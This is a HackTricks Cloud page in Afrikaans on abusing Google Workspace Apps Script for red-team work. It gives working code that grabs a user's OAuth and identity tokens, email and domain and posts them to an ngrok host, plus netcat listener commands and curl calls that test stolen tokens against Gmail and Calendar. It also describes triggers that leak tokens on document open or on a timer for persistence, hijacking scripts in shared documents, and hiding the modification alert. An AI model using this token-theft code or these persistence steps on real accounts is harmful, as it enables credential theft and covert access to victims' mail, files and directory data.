GWS - App Scripts
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
App Scripts
App Scripts is kode wat geaktiveer sal word wanneer ’n gebruiker met redigeer toestemming toegang tot die dokument wat met die App Script gekoppel is en na aanvaarding van die OAuth prompt.
Hulle kan ook ingestel word om elke sekere tyd uitgevoer te word deur die eienaar van die App Script (Persistensie).
Skep App Script
Daar is verskeie maniere om ’n App Script te skep, hoewel die mees algemene is uit ’n Google Dokument (van enige tipe) en as ’n standalone projek:
Skep 'n houer-gebound projek uit Google Docs, Sheets, of Slides
- Maak ’n Docs dokument, ’n Sheets sigblad, of Slides aanbieding oop.
- Klik Extensions > Google Apps Script.
- In die skripredigeerder, klik Untitled project.
- Gee jou projek ’n naam en klik Rename.
Skep 'n standalone projek
Om ’n standalone projek uit Apps Script te skep:
- Gaan na
script.google.com. - Klik voeg New Project by.
- In die skripredigeerder, klik Untitled project.
- Gee jou projek ’n naam en klik Rename.
Skep 'n standalone projek uit Google Drive
- Maak Google Drive oop.
- Klik New > More > Google Apps Script.
Skep 'n houer-gebound projek uit Google Forms
- Maak ’n vorm in Google Forms oop.
- Klik Meer more_vert > Script editor.
- In die skripredigeerder, klik Untitled project.
- Gee jou projek ’n naam en klik Rename.
Skep 'n standalone projek met die clasp opdraglyn hulpmiddel
clasp is ’n opdraglyn hulpmiddel wat jou toelaat om Apps Script projekte te skep, te trek/te druk, en te ontplooi vanaf ’n terminal.
Sien die Command Line Interface using clasp guide vir meer besonderhede.
App Script Scenario
Skep Google Sheet met App Script
Begin deur ’n App Script te skep, my aanbeveling vir hierdie scenario is om ’n Google Sheet te skep en na Extensions > App Scripts te gaan, dit sal ’n nuwe App Script vir jou oopmaak wat aan die blad gekoppel is.
Lek token
Om toegang tot die OAuth token te gee, moet jy op Services + klik en skoppe soos:
- AdminDirectory: Toegang tot gebruikers en groepe van die gids (as die gebruiker genoeg toestemming het)
- Gmail: Om toegang tot gmail data te verkry
- Drive: Om toegang tot drive data te verkry
- Google Sheets API: Sodat dit met die trigger werk
Om self die nodige skoppe te verander, kan jy na projekinstellings gaan en aktiveer: Show "appsscript.json" manifest file in editor.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
Om die versoek te vang kan jy net uitvoer:
ngrok tcp 4444
nc -lv 4444 #macOS
Permissions aangevra om die App Script uit te voer:
.png)
Warning
Aangesien ’n eksterne versoek gemaak word, sal die OAuth-prompt ook vra om toestemming om eksterne eindpunte te bereik.
Skep Trigger
Sodra die App gelees is, klik op ⏰ Triggers om ’n trigger te skep. As funksie om te loop, kies getToken, loop by implementering Head, in gebeurtenisbron kies From spreadsheet en gebeurtenistipe kies On open of On edit (volgens jou behoeftes) en stoor.
Let daarop dat jy die uitvoerings van die App Scripts in die Uitvoerings-oortjie kan nagaan as jy iets wil debugeer.
Deel
Om die App Script te trigger, moet die slagoffer met Editor Toegang verbind.
Tip
Die token wat gebruik word om die App Script uit te voer, sal die een wees van die skepper van die trigger, selfs al word die lêer as Editor deur ander gebruikers geopen.
Misbruik van Gedeel Met My dokumente
Caution
As iemand ’n dokument met App Scripts en ’n trigger wat die Head van die App Script gebruik, met jou gedeel het (nie ’n vaste implementering nie), kan jy die App Script-kode wysig (byvoorbeeld die steel token funksies byvoeg), dit toegang, en die App Script sal uitgevoer word met die toestemmings van die gebruiker wat die dokument met jou gedeel het! (let daarop dat die eienaar se OAuth-token toegangskopes sal hê soos gegee toe die trigger geskep is).
’n kennisgewing sal aan die skepper van die script gestuur word wat aandui dat iemand die script gewysig het (Wat van die gebruik van gmail-toestemmings om ’n filter te genereer om die waarskuwing te voorkom?)
Tip
As ’n aanvaller die skope van die App Script wysig, sal die opdaterings nie toegepas word op die dokument totdat ’n nuwe trigger met die veranderinge geskep word. Daarom sal ’n aanvaller nie in staat wees om die eienaar se skepper token met meer skope as die een wat hy in die trigger wat hy geskep het, gestel het, te steel nie.
Kopieer in plaas van deel
Wanneer jy ’n skakel skep om ’n dokument te deel, word ’n skakel soortgelyk aan hierdie een geskep: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
As jy die einde “/edit” vir “/copy” verander, sal google jou vra of jy ’n kopie van die dokument wil genereer:
.png)
As die gebruiker dit kopieer en toegang, sal beide die inhoud van die dokument en die App Scripts gekopieer word, maar die triggers nie, daarom sal niks uitgevoer word nie.
Deel as Webtoepassing
Let daarop dat dit ook moontlik is om ’n App Script as ’n Webtoepassing te deel (in die Editor van die App Script, implementeer as ’n Webtoepassing), maar ’n waarskuwing soos hierdie sal verskyn:
.png)
Gevolg deur die tipiese OAuth-prompt wat om die nodige toestemmings vra.
Toets
Jy kan ’n versamelde token toets om e-posse te lys met:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
Lys kalender van die gebruiker:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script as Persistence
Een opsie vir volharding sou wees om ’n dokument te skep en ’n trigger vir die getToken funksie by te voeg en die dokument met die aanvaller te deel sodat elke keer wanneer die aanvaller die lêer oopmaak, hy die token van die slagoffer uitbring.
Dit is ook moontlik om ’n App Script te skep en dit elke X tyd (soos elke minuut, uur, dag…) te laat trigger. ’n Aanvaller wat gekompromitteerde geloofsbriewe of ’n sessie van ’n slagoffer het, kan ’n App Script tyd-trigger instel en elke dag ’n baie bevoorregte OAuth-token lek:
Skep eenvoudig ’n App Script, gaan na Triggers, klik op Voeg Trigger by, en kies as gebeurtenisbron Tyd-gedrewe en kies die opsies wat die beste by jou pas:
.png)
Caution
Dit sal ’n sekuriteitswaarskuwing e-pos en ’n push boodskap na jou mobiele toestel stuur wat jou hiervan in kennis stel.
Shared Document Unverified Prompt Bypass
Boonop, as iemand **met jou ’n dokument met redigeerder toegang gedeel het, kan jy App Scripts binne die dokument genereer en die EIGENAAR (skepper) van die dokument sal die eienaar van die App Script wees.
Warning
Dit beteken dat die skepper van die dokument as die skepper van enige App Script wat iemand met redigeerder toegang binne dit skep, sal verskyn.
Dit beteken ook dat die App Script vertrou sal word deur die Workspace omgewing van die skepper van die dokument.
Caution
Dit beteken ook dat as ’n App Script reeds bestaan en mense toegang gegee het, kan enigeen met Redigeerder toestemming op die dokument dit wysig en daardie toegang misbruik.
Om dit te misbruik, moet jy ook hê dat mense die App Script trigger. En ’n slim truuk is om die script as ’n webtoepassing te publiseer. Wanneer die mense wat reeds toegang tot die App Script gegee het, die webblad toegang, sal hulle die App Script trigger (dit werk ook met<img>tags).
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

